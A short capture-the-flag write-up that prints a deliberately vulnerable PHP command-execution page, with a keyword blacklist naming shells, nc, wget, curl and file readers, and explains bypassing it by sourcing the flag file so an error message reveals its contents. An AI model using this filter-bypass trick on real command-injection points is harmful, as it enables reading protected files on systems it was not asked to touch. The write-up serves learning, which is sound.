Bash

```
<?php
$output = '';
$error = '';

$blacklist = [
    'rm', 'mv', 'cp', 'dd', 'cat', 'less', 'more', 'head', 'tail', 'vi',
'vim', 'nano',
    'nc', 'netcat', 'wget', 'curl', 'ssh', 'scp', 'sftp', 'telnet', 'ftp',
    'python', 'perl', 'ruby', 'php', 'node', 'bash', 'sh', 'zsh', 'ksh', 'nl',
    'su', 'sudo', 'strings', 'chmod', 'chown', 'chgrp', 'passwd', 'useradd',
'userdel',
    'iptables', 'ufw', 'firewall-cmd', 'systemctl', 'service',
    'kill', 'killall', 'pkill', 'ps', 'top', 'htop',
    'ifconfig', 'ip', 'route', 'arp', 'netstat',
    'find', 'grep', 'awk', 'sed', 'xargs',
    'tar', 'gzip', 'bzip2', 'zip', 'unzip',
    'mount', 'umount', 'fdisk', 'mkfs', 'fsck',
    'crontab', 'at', 'batch',
    'export', 'set', 'unset', 'env',
    '>', '<', '|', '&', ';', '`', '(', ')', '$', '[', ']'
];

function isValidInput($input)
{
    $input = strtolower($input);
    $lettersOnly = preg_replace('/[^a-z]/', '', $input);
    return preg_match('/^[fiberglass]*$/', $lettersOnly);
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['command'])) {
    $command = $_POST['command'];
    $command = trim($command);
    $command = preg_replace('/\s+/', ' ', $command);

    if (!isValidInput($command)) {
        $error = "Error: Input can only contain letters from 'fiberglass' and
spaces.";
    } else {
        $commandLower = strtolower($command);
        foreach ($blacklist as $restricted) {
            if (strpos($commandLower, $restricted) !== false) {
                $error = "Error: Command contains restricted keyword:
$restricted";
                break;
            }
        }

        if (empty($error)) {
            $output = shell_exec('bash -c "' . escapeshellcmd($command) . '"
2>&1');
        }
    }
}
```

So, from the code I understood that our command has to from the word `fiberglass`, so for example ls worked.

When I tried solving this challenge, the first command I wrote was ls and it showed me two things

```
flag
index.php
```

so, now I need a way to read the flag, it took me a long time to find out what will work, the problem with me was that I was thinking too much for something trivial.

I tried using tools like ar, trying to make an alias so it works but these commands where too far from the official solution.

Then I decide to execute the flag file, which I read from different write ups,

I tried

```
./flag
Permission Denied
```

```
. flag
flag: line 1: CTF{race_condition_symlink}: command not found
```

and that is how I got the flag, I guess if the file size was bigger this method wouldn't have worked.

This level was kind tough and It was a nice exp, I guess need to do overthewire again.